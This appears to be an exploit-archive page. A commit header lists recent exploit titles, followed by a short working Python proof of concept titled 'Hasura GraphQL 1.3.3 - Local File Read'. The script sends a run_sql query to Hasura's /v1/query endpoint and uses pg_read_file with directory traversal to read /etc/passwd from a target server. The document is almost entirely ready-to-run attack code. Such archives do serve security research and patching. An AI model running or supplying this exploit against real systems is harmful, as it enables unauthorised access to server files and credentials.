7fa85628bd
19 changes to exploits/shellcodes Hasura GraphQL 1.3.3 - Denial of Service Tenda D151 & D301 - Configuration Download (Unauthenticated) rConfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated) rConfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated) (1) Multilaser Router RE018 AC1200 - Cross-Site Request Forgery (Enable Remote Access) Fast PHP Chat 1.3 - 'my_item_search' SQL Injection WordPress Plugin RSS for Yandex Turbo 1.29 - Stored Cross-Site Scripting (XSS) BlackCat CMS 1.3.6 - 'Multiple' Stored Cross-Site Scripting (XSS) Discourse 2.7.0 - Rate Limit Bypass leads to 2FA Bypass RemoteClinic 2 - 'Multiple' Cross-Site Scripting (XSS) rconfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated) (2) OpenEMR 5.0.2.1 - Remote Code Execution Adtran Personal Phone Manager 10.8.1 - 'emailAddress' Stored Cross-Site Scripting (XSS) Adtran Personal Phone Manager 10.8.1 - 'Multiple' Reflected Cross-Site Scripting (XSS) Adtran Personal Phone Manager 10.8.1 - DNS Exfiltration GravCMS 1.10.7 - Unauthenticated Arbitrary YAML Write/Update (Metasploit) Hasura GraphQL 1.3.3 - Local File Read Hasura GraphQL 1.3.3 - Service Side Request Forgery (SSRF)
29 lines
No EOL
819 B
Python
Executable file
29 lines
No EOL
819 B
Python
Executable file
# Exploit Title: Hasura GraphQL 1.3.3 - Local File Read
|
|
# Software: Hasura GraphQL
|
|
# Software Link: https://github.com/hasura/graphql-engine
|
|
# Version: 1.3.3
|
|
# Exploit Author: Dolev Farhi
|
|
# Date: 4/19./2021
|
|
# Tested on: Ubuntu
|
|
|
|
import requests
|
|
import sys
|
|
|
|
HASURA_SCHEME = 'http'
|
|
HASURA_HOST = '192.168.1.1'
|
|
HASURA_PORT = 80
|
|
READ_FILE = '/etc/passwd'
|
|
|
|
def LFI(file):
|
|
SQLI = "SELECT pg_read_file('../../../../../../../../../{}',0,1000);".format(file)
|
|
data = {"type":"bulk","args":[{"type":"run_sql","args":{"sql":SQLI,"cascade":False,"read_only":False}}]}
|
|
endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
|
|
r = requests.post(endpoint, json=data)
|
|
return r.json()
|
|
|
|
res = LFI(READ_FILE)
|
|
|
|
try:
|
|
print(res[0]['result'][1][0])
|
|
except:
|
|
print(res) |